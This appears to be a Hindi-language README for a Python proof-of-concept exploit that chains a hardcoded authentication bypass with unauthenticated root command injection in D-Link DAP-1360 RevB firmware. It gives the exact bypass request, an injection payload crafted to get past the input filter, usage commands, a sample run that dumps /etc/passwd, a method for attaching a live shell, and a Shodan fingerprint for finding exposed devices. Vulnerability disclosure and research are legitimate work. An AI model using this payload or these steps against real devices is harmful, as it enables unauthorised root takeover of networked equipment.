
Python PoC जो CVE-2026-95675 का उपयोग करता है, जो D-Link DAP-1360 RevB फर्मवेयर में एक हार्डकोडेड auth-bypass और formSystemCheck हैंडलर के माध्यम से एक unauthenticated root command injection है।

formSystemCheck हैंडलर में अनधिकृत रिमोट रूट कमांड निष्पादन (CWE-78 — OS कमांड इंजेक्शन),
जो हार्डकोडेड प्रमाणीकरण बैकडोर के माध्यम से पहुँच योग्य है। DAP-1360 RevB, फर्मवेयर 2.14B05 के विरुद्ध सत्यापित।
दो स्वतंत्र समस्याएँ श्रृंखलाबद्ध:
1. हार्डकोडेड प्रमाणीकरण-बायपास पथ। main में (httpd @ 0x4064c8):
strcasecmp(request_path, "dEfWzDLOgIn") ; token @ 0x48046c
...
sw 1, 8(sp_login_slot) ; mark this source-IP as logged in
GET /dEfWzDLOgIn 404 लौटाता है (यह वास्तविक फ़ाइल नहीं है) लेकिन, एक साइड
इफ़ेक्ट के रूप में, अनुरोध करने वाले स्रोत IP के सत्र स्लॉट को प्रमाणित के रूप में
चिह्नित कर देता है — किसी उपयोगकर्ता नाम, पासवर्ड, या कैप्चा की आवश्यकता नहीं।
2. OS कमांड इंजेक्शन। formSystemCheck
(POST /apply.cgi?formSystemCheck) इसके साथ एक शेल कमांड बनाता है:
_system("ping %s -c 2 >/tmp/test_ping", cgi("ipv4_ping"))
ipv4_ping को बिना सैनिटाइज़ किए फ़ॉर्मेट स्ट्रिंग में पास किया जाता है; _system() एक निश्चित स्टैक बफ़र में vsprintf का उपयोग करता है और इसे system() को सौंप देता है। हैंडलर स्वयं कोई प्रमाणीकरण जाँच नहीं करता।
busybox POST-body पार्सर ;, |, बैकटिक, और न्यूलाइन को हटा देता है, लेकिन
&& बच जाता है। एक पेलोड को प्रीफ़िक्स ping को समाप्त करना होगा और फिर
&& के साथ श्रृंखलाबद्ध करना होगा, उदाहरण के लिए:
127.0.0.1 -c 1 && <command> > /www/out.htm && x
python3 autopoc.py <target> [command]
python3 autopoc.py 192.168.0.50
python3 autopoc.py 192.168.0.50 "ls -la /"
| Arg | Description |
|---|---|
target | लक्ष्य होस्ट/IP (डिफ़ॉल्ट स्कीम http://) |
command (वैकल्पिक) | चलाने के लिए रूट कमांड (डिफ़ॉल्ट: ); का उपयोग करें, /` |
GET /dEfWzDLOgIn — हार्डकोडेड प्रमाणीकरण बायपास को ट्रिगर करता है (404 लौटाता है; साइड इफ़ेक्ट सर्वर-साइड होता है)।POST /apply.cgi?formSystemCheck के साथ ipv4_ping=127.0.0.1 -c 1 && <cmd> > /www/<OUT> && x — रूट कमांड इंजेक्शन।GET /<OUT> — कमांड आउटपुट प्राप्त करता है (httpd .htm/.html सर्व करता है, .txt नहीं)।[*] target : 192.168.0.50
[*] command : cat /etc/passwd
[*] GET /dEfWzDLOgIn -> 404 (login slot flagged)
[*] POST /apply.cgi?formSystemCheck -> 302
[+] output (RCE.htm):
------------------------------------------------------------
root:x:0:0:root:/:/dev/null
nobody:x:0:0:nobody:/:/dev/null
------------------------------------------------------------
nc, wget, base64, chmod, id नहीं हैं — cat, echo, ls, cp, आदि का उपयोग करें।_system() के लौटने तक प्रतिक्रिया को टालने के साथ मिलाकर, sh <&5 >&5 2>&5 लाइव कनेक्शन से एक शेल अटैच कर सकता है (user-mode QEMU के तहत नाज़ुक; वास्तविक हार्डवेयर पर बेहतर)।Shodan ("CAMEO-httpd", httpd विक्रेता बैनर) इस सटीक कोडबेस के केवल कुछ ही
इंटरनेट-एक्सपोज़्ड इंस्टेंस दिखाता है; डिवाइस मुख्य रूप से LAN-साइड एक्सेस पॉइंट है। शोषण के लिए वेब
प्रबंधन इंटरफ़ेस की पहुँच आवश्यक है।
cat /etc/passwd&&;